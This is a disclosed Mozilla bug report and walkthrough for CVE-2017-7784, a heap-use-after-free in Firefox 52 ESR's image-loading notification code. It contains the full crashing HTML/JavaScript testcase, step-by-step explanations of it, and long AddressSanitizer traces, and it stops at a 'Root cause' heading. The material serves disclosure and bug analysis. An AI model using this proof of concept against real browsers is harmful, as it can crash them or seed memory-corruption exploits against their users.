Skip to content
Memory corruption Disclosed report Advanced CVE-2017-7784

heap-use-after-free in nsImageLoadingContent::Notify

A crafted HTML page causes a heap-use-after-free in Firefox's image-loading notification code when an image frame is destroyed while a decode-complete notification is still pending. The crash was observed under AddressSanitizer in Firefox 52.2.1 ESR; the text does not claim any attacker capability beyond crashing the browser.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 5 days
  • Paid in 16 days
  • Disclosed after 5 days

Created attachment 8881021 crash.html (testcase, crashes firefox)

The latest ASAN build of Firefox 52.2.1 ESR (BuildID=20170621154102) crash when loading the following testcase. It requires 1px.png in the same directory (or any other PNG file).

<script> function start() { o0=document.createElement('iframe'); document.body.appendChild(o0); o1=open('1px.png','popup46','height=16'); o1.onload=fun0; o2=o0.contentDocument; } function fun0(e) { o10=window.open('data:text/html,<div>','popup68','left=74'); o10.onload=fun1; o13=e.target; tmpall=o13.getElementsByTagName('*'); o19=tmpall[8]; } function fun1(e) { o21=e.target; o71=o2.createElementNS('http://www.w3.org/2000/svg','filter'); o92=o2.createElementNS('http://www.w3.org/2000/svg','feBlend'); o71.appendChild(o92); tmpall[0].appendChild(o71); o111=o21.createElementNS('http://www.w3.org/2000/svg','filter'); o145=o21.createElementNS('http://www.w3.org/2000/svg','feMerge'); o111.appendChild(o145); o71.insertBefore(o111,o92); o207=o13.createElementNS('http://www.w3.org/1999/xhtml','style'); o208=o13.createTextNode("*{ display: ruby-text-container;}"); o207.appendChild(o208); o145.appendChild(o207); o19.setAttribute('src', '1px.png?1'); setTimeout("location.reload()",100); } </script> <body onload="start()"></body>

ASAN output:

================================================================= ==2364==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000457ab8 at pc 0x7f1895b2c8e4 bp 0x7ffd0904f1d0 sp 0x7ffd0904f1c8 READ of size 8 at 0x602000457ab8 thread T0 #0 0x7f1895b2c8e3 in nsImageLoadingContent::Notify(imgIRequest*, int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const*) /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:155:24 #1 0x7f189583d1be in imgRequestProxy::Notify(int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const*) /home/worker/workspace/build/src/image/imgRequestProxy.cpp:790:3 #2 0x7f18957f7ee9 in operator() /home/worker/workspace/build/src/image/ProgressTracker.cpp:315:42 #3 0x7f18957f7ee9 in void mozilla::image::ImageObserverNotifier<mozilla::image::ObserverTable const*>::operator()<void mozilla::image::SyncNotifyInternal<mozilla::image::ObserverTable const*>(mozilla::image::ObserverTable const* const&, bool, unsigned int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&)::{lambda(mozilla::image::IProgressObserver*)#1}>(void mozilla::image::SyncNotifyInternal<mozilla::image::ObserverTable const*>(mozilla::image::ObserverTable const* const&, bool, unsigned int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&)::{lambda(mozilla::image::IProgressObserver*)#1}) /home/worker/workspace/build/src/image/ProgressTracker.cpp:274 #4 0x7f18957f7b80 in void mozilla::image::SyncNotifyInternal<mozilla::image::ObserverTable const*>(mozilla::image::ObserverTable const* const&, bool, unsigned int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&) /home/worker/workspace/build/src/image/ProgressTracker.cpp:315:5 #5 0x7f18957f3c31 in operator() /home/worker/workspace/build/src/image/ProgressTracker.cpp:394:5 #6 0x7f18957f3c31 in Read<(lambda at /home/worker/workspace/build/src/image/ProgressTracker.cpp:393:19)> /home/worker/workspace/build/src/image/CopyOnWrite.h:154 #7 0x7f18957f3c31 in mozilla::image::ProgressTracker::SyncNotifyProgress(unsigned int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&) /home/worker/workspace/build/src/image/ProgressTracker.cpp:393 #8 0x7f18957fbade in mozilla::image::RasterImage::NotifyProgress(unsigned int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&, mozilla::Maybe<unsigned int> const&, mozilla::image::DecoderFlags, mozilla::image::SurfaceFlags) /home/worker/workspace/build/src/image/RasterImage.cpp:1567:3 #9 0x7f1895805ab8 in mozilla::image::RasterImage::NotifyDecodeComplete(mozilla::image::DecoderFinalStatus const&, mozilla::image::ImageMetadata const&, mozilla::image::DecoderTelemetry const&, unsigned int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&, mozilla::Maybe<unsigned int> const&, mozilla::image::DecoderFlags, mozilla::image::SurfaceFlags) /home/worker/workspace/build/src/image/RasterImage.cpp:1607:3 #10 0x7f18958792b9 in operator() /home/worker/workspace/build/src/image/IDecodingTask.cpp:87:5 #11 0x7f18958792b9 in mozilla::detail::RunnableFunction<mozilla::image::IDecodingTask::NotifyDecodeComplete(mozilla::NotNullmozilla::image::RasterImage*, mozilla::NotNullmozilla::image::Decoder*)::$_2>::Run() /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:324 #12 0x7f18931a38bb in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7 #13 0x7f18932259fc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10 #14 0x7f1893fdd40f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #15 0x7f1893f4efc8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3 #16 0x7f1893f4efc8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225 #17 0x7f1893f4efc8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205 #18 0x7f189957819f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3 #19 0x7f189b5f2451 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19 #20 0x7f189b789757 in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4488:10 #21 0x7f189b78aecd in XREMain::XRE_main(int, char**, nsXREAppData const*) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4621:8 #22 0x7f189b78bd8c in XRE_main /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4712:16 #23 0x4df91a in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:282:10 #24 0x4df91a in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:415 #25 0x7f18aeb5282f in __libc_start_main /build/glibc-9tT8Do/glibc-2.23/csu/../csu/libc-start.c:291 #26 0x41ba88 in _start (/home/nils/fuzzer3/esr/firefox/firefox+0x41ba88)

0x602000457ab8 is located 8 bytes inside of 16-byte region [0x602000457ab0,0x602000457ac0) freed by thread T0 here: #0 0x4b21db in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3 #1 0x7f1895b30123 in operator delete /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:218:12 #2 0x7f1895b30123 in nsImageLoadingContent::RemoveObserver(imgINotificationObserver*) /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:432 #3 0x7f189a1813b2 in nsImageFrame::DestroyFrom(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsImageFrame.cpp:213:7 #4 0x7f189a003de3 in nsFrameList::DestroyFramesFrom(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsFrameList.cpp:57:5 #5 0x7f189a004207 in DestroyAbsoluteFrames /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:184:5 #6 0x7f189a004207 in nsContainerFrame::DestroyFrom(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:218 #7 0x7f189a064f15 in nsCanvasFrame::DestroyFrom(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:153:3 #8 0x7f189a004378 in DestroyFramesFrom /home/worker/workspace/build/src/layout/generic/nsFrameList.cpp:57:5 #9 0x7f189a004378 in nsContainerFrame::DestroyFrom(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:221 #10 0x7f189a0782ca in Destroy /home/worker/workspace/build/src/layout/generic/nsIFrame.h:576:20 #11 0x7f189a0782ca in nsContainerFrame::RemoveFrame(mozilla::layout::FrameChildListID, nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:170 #12 0x7f1899ea5566 in nsFrameManager::RemoveFrame(mozilla::layout::FrameChildListID, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:506:5 #13 0x7f1899d73b6b in nsCSSFrameConstructor::ContentRemoved(nsIContent*, nsIContent*, nsIContent*, nsCSSFrameConstructor::RemoveFlags, bool*, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:8498:5 #14 0x7f1899ce862e in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9685:10 #15 0x7f1899d7572a in nsCSSFrameConstructor::MaybeRecreateContainerForFrameRemoval(nsIFrame*, nsCSSFrameConstructor::RemoveFlags, nsresult*, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9475:16 #16 0x7f1899ce82ca in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9659:16 #17 0x7f1899d754de in nsCSSFrameConstructor::MaybeRecreateContainerForFrameRemoval(nsIFrame*, nsCSSFrameConstructor::RemoveFlags, nsresult*, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9428:18 #18 0x7f1899ce82ca in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9659:16 #19 0x7f1899d754de in nsCSSFrameConstructor::MaybeRecreateContainerForFrameRemoval(nsIFrame*, nsCSSFrameConstructor::RemoveFlags, nsresult*, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9428:18 #20 0x7f1899d733cb in nsCSSFrameConstructor::ContentRemoved(nsIContent*, nsIContent*, nsIContent*, nsCSSFrameConstructor::RemoveFlags, bool*, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:8370:9 #21 0x7f1899f33ec2 in PresShell::ContentRemoved(nsIDocument*, nsIContent*, nsIContent*, int, nsIContent*) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:4477:3 #22 0x7f1895f491fe in nsNodeUtils::ContentRemoved(nsINode*, nsIContent*, int, nsIContent*) /home/worker/workspace/build/src/dom/base/nsNodeUtils.cpp:226:3 #23 0x7f1895ef1540 in nsINode::doRemoveChildAt(unsigned int, bool, nsIContent*, nsAttrAndChildArray&) /home/worker/workspace/build/src/dom/base/nsINode.cpp:1926:5 #24 0x7f1895c39cf3 in mozilla::dom::FragmentOrElement::RemoveChildAt(unsigned int, bool) /home/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:1113:5 #25 0x7f18959f54ed in nsContentUtils::SetNodeTextContent(nsIContent*, nsAString_internal const&, bool) /home/worker/workspace/build/src/dom/base/nsContentUtils.cpp:4818:7 #26 0x7f1895e0bea6 in nsDocument::SetTitle(nsAString_internal const&) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:6683:10 #27 0x7f18980420dc in mozilla::dom::MediaDocument::UpdateTitleAndCharset(nsACString_internal const&, nsIChannel*, char const* const*, int, int, nsAString_internal const&) /home/worker/workspace/build/src/dom/html/MediaDocument.cpp:415:5 #28 0x7f189803c961 in mozilla::dom::ImageDocument::UpdateTitleAndCharset() /home/worker/workspace/build/src/dom/html/ImageDocument.cpp:794:3 #29 0x7f189803e128 in mozilla::dom::ImageDocument::OnSizeAvailable(imgIRequest*, imgIContainer*) /home/worker/workspace/build/src/dom/html/ImageDocument.cpp:551:3 #30 0x7f189803dd4c in mozilla::dom::ImageDocument::Notify(imgIRequest*, int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const*) /home/worker/workspace/build/src/dom/html/ImageDocument.cpp:479:12 #31 0x7f189803eecf in non-virtual thunk to mozilla::dom::ImageDocument::Notify(imgIRequest*, int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const*) /home/worker/workspace/build/src/dom/html/ImageDocument.cpp:474:16 #32 0x7f1895b2c390 in nsImageLoadingContent::Notify(imgIRequest*, int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const*) /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:157:9 #33 0x7f189583d1be in imgRequestProxy::Notify(int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const*) /home/worker/workspace/build/src/image/imgRequestProxy.cpp:790:3

previously allocated by thread T0 here: #0 0x4b24fb in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3 #1 0x4e0ded in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17 #2 0x7f1895b2f9fd in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12 #3 0x7f1895b2f9fd in nsImageLoadingContent::AddObserver(imgINotificationObserver*) /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:401 #4 0x7f189a1824fd in nsImageFrame::Init(nsIContent*, nsContainerFrame*, nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsImageFrame.cpp:270:3 #5 0x7f1899d559a4 in InitAndRestoreFrame /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4971:3 #6 0x7f1899d559a4 in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:3875 #7 0x7f1899d62996 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6187:3 #8 0x7f1899d57c1b in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10631:5 #9 0x7f1899d57c1b in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4022 #10 0x7f1899d62996 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6187:3 #11 0x7f1899d3f104 in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10631:5 #12 0x7f1899d3f104 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10843 #13 0x7f1899d578e1 in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4026:9 #14 0x7f1899d62996 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6187:3 #15 0x7f1899d57c1b in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10631:5 #16 0x7f1899d57c1b in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4022 #17 0x7f1899d62996 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6187:3 #18 0x7f1899d3f104 in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10631:5 #19 0x7f1899d3f104 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10843 #20 0x7f1899d499ed in nsCSSFrameConstructor::ConstructBlock(nsFrameConstructorState&, nsIContent*, nsContainerFrame*, nsContainerFrame*, nsStyleContext*, nsContainerFrame**, nsFrameItems&, nsIFrame*, PendingBinding*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11853:3 #21 0x7f1899d45e48 in nsCSSFrameConstructor::ConstructDocElementFrame(mozilla::dom::Element*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:2625:5 #22 0x7f1899d69076 in nsCSSFrameConstructor::ContentRangeInserted(nsIContent*, nsIContent*, nsIContent*, nsILayoutHistoryState*, bool) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7744:7 #23 0x7f1899ce88db in ContentInserted /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7630:10 #24 0x7f1899ce88db in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9699 #25 0x7f1899d069e6 in mozilla::RestyleManagerBase::ProcessRestyledFrames(nsStyleChangeList&) /home/worker/workspace/build/src/layout/base/RestyleManagerBase.cpp:1176:7 #26 0x7f1899d0d8f9 in ProcessOneRestyle /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:105:5 #27 0x7f1899d0d8f9 in mozilla::RestyleTracker::DoProcessRestyles() /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:266 #28 0x7f1899cef7c4 in ProcessRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManager.h:490:7 #29 0x7f1899cef7c4 in mozilla::RestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:834 #30 0x7f1899f30f1e in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerHandleInlines.h:74:3 #31 0x7f1899f30f1e in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:4159 #32 0x7f1899c4321c in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1836:11 #33 0x7f1899c4fa61 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:295:7 #34 0x7f1899c4f4f5 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:316:5 #35 0x7f1899c5201e in applyImpl<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::)(mozilla::TimeStamp), StoreCopyPassByValuemozilla::TimeStamp , 0> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:775:12 #36 0x7f1899c5201e in apply<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::)(mozilla::TimeStamp)> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:781 #37 0x7f1899c5201e in mozilla::detail::RunnableMethodImpl<void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::)(mozilla::TimeStamp), true, false, mozilla::TimeStamp>::Run() /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:810 #38 0x7f18931a38bb in nsThread::ProcessNextEvent(bool, bool) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7 #39 0x7f18932259fc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10 #40 0x7f1893fdd40f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #41 0x7f1893f4efc8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3 #42 0x7f1893f4efc8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225 #43 0x7f1893f4efc8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:155:24 in nsImageLoadingContent::Notify(imgIRequest*, int, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const*) Shadow bytes around the buggy address: 0x0c0480082f00: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c0480082f10: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c0480082f20: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c0480082f30: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c0480082f40: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd =>0x0c0480082f50: fa fa fd fd fa fa fd[fd]fa fa fd fd fa fa fd fd 0x0c0480082f60: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd 0x0c0480082f70: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd 0x0c0480082f80: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c0480082f90: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c0480082fa0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2364==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

This is a crash report against Firefox, filed in the Mozilla bug tracker and disclosed on 29 June 2017. The affected component is the DOM core and HTML code, specifically nsImageLoadingContent, the class that lets a content node (an <img>, and other elements that load images) register observers on an image request and be notified as the image loads, decodes and changes size. The bug is a heap-use-after-free: an observer object is freed while the image machinery still holds a pointer to it, and the next notification reads through that dangling pointer.

The report is a fuzzer-style testcase plus an AddressSanitizer trace. There is no discussion of a fix in the text, so this write-up covers the reproduction, the crash and what the stack traces say about the lifetime problem.

Setup

The researcher used an AddressSanitizer build of Firefox 52.2.1 ESR, BuildID 20170621154102. The testcase is a single HTML file that must sit in the same directory as a PNG file named 1px.png; the report notes that any other PNG file would do. No accounts, extensions or special preferences are mentioned. The only precondition is that the page is loaded from a location where 1px.png resolves, so the image document and the image request can be created.

Finding it

The crash appears when the testcase is loaded. The report presents it as a reproducible ASAN abort rather than as the result of manual reasoning, so the interesting part is reading the trace: the faulting read is in nsImageLoadingContent::Notify at nsImageLoadingContent.cpp:155, and the freed block was released earlier in the same thread by nsImageLoadingContent::RemoveObserver, called from nsImageFrame::DestroyFrom. In other words, a frame teardown removed and freed an observer entry, and a later image notification still walked the observer table and called into the freed entry.

Exploitation

Step 1: load the testcase

The page body runs start() on load. It creates an iframe, appends it to the document, opens 1px.png in a popup window named popup46, attaches fun0 as the popup's onload handler, and keeps a reference to the iframe's content document in o2.

HTML
<script>
function start() {
	o0=document.createElement('iframe');
	document.body.appendChild(o0);
	o1=open('1px.png','popup46','height=16');
	o1.onload=fun0;
	o2=o0.contentDocument;
}

Opening a PNG directly makes Firefox use its image document, which is the code path that later appears in the free stack (ImageDocument::Notify, ImageDocument::OnSizeAvailable, ImageDocument::UpdateTitleAndCharset).

Step 2: open a second window and collect elements

When the image popup finishes loading, fun0 opens a data:text/html,<div> window named popup68, attaches fun1 to its onload, stores the event target in o13, and picks the ninth element (index 8) from that target's descendants into o19.

JavaScript
function fun0(e) {
        o10=window.open('data:text/html,<div>','popup68','left=74');
        o10.onload=fun1;
	o13=e.target;
	tmpall=o13.getElementsByTagName('*');
	o19=tmpall[8];
}

o19 is the element whose src is changed later.

Step 3: build SVG filters across documents and restyle

fun1 runs when the second popup loads. It creates SVG filter and feBlend elements in the iframe's document (o2), nests them, and appends the filter to the first collected element. It then creates a second filter with an feMerge child in the popup document (o21), inserts that filter before the feBlend inside the first filter, creates a style element and a text node in the image document (o13) with a rule that changes display to ruby-text-container, appends the style into the feMerge, sets the image source to 1px.png?1, and schedules a reload after 100 ms.

JavaScript
function fun1(e) {
	o21=e.target;
	o71=o2.createElementNS('http://www.w3.org/2000/svg','filter');
	o92=o2.createElementNS('http://www.w3.org/2000/svg','feBlend');
	o71.appendChild(o92);
	tmpall[0].appendChild(o71);
	o111=o21.createElementNS('http://www.w3.org/2000/svg','filter');
	o145=o21.createElementNS('http://www.w3.org/2000/svg','feMerge');
	o111.appendChild(o145);
	o71.insertBefore(o111,o92);
	o207=o13.createElementNS('http://www.w3.org/1999/xhtml','style');
	o208=o13.createTextNode("*{ display: ruby-text-container;}");
	o207.appendChild(o208);
	o145.appendChild(o207);
	o19.setAttribute('src', '1px.png?1');
	setTimeout("location.reload()",100);
}
</script>
<body onload="start()"></body>

The testcase injects a *{ display: ruby-text-container;} rule, changes the image source and schedules a reload after 100 ms. The ASAN trace shows the free happening inside nsCSSFrameConstructor::RecreateFramesForContent and MaybeRecreateContainerForFrameRemoval, reached from PresShell::ContentRemoved and ultimately from nsDocument::SetTitle via nsContentUtils::SetNodeTextContent, which is the image document updating its title when the image size becomes available.

Step 4: observe the crash

The ASAN build aborts with a heap-use-after-free. The faulting access is a read of size 8 at nsImageLoadingContent.cpp:155:24 inside nsImageLoadingContent::Notify, reached from imgRequestProxy::Notify and the progress tracker when decode completes:

Text
==2364==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000457ab8 at pc 0x7f1895b2c8e4 bp 0x7ffd0904f1d0 sp 0x7ffd0904f1c8
READ of size 8 at 0x602000457ab8 thread T0
    #0 0x7f1895b2c8e3 in nsImageLoadingContent::Notify(imgIRequest*, int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:155:24
    #1 0x7f189583d1be in imgRequestProxy::Notify(int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/image/imgRequestProxy.cpp:790:3
    #2 0x7f18957f7ee9 in operator() /home/worker/workspace/build/src/image/ProgressTracker.cpp:315:42

The free stack shows the same 16-byte region being released by nsImageLoadingContent::RemoveObserver from nsImageFrame::DestroyFrom, during frame destruction triggered by the style change and document teardown:

Text
0x602000457ab8 is located 8 bytes inside of 16-byte region [0x602000457ab0,0x602000457ac0)
freed by thread T0 here:
    #0 0x4b21db in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7f1895b30123 in operator delete /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:218:12
    #2 0x7f1895b30123 in nsImageLoadingContent::RemoveObserver(imgINotificationObserver*) /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:432
    #3 0x7f189a1813b2 in nsImageFrame::DestroyFrom(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsImageFrame.cpp:213:7

The allocation stack confirms the region was created by nsImageLoadingContent::AddObserver from nsImageFrame::Init, so the freed object is the observer entry that the image frame registered when it was constructed. The summary line names the same function and line as the faulting frame:

Text
SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:155:24 in nsImageLoadingContent::Notify(imgIRequest*, int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*)

Root cause

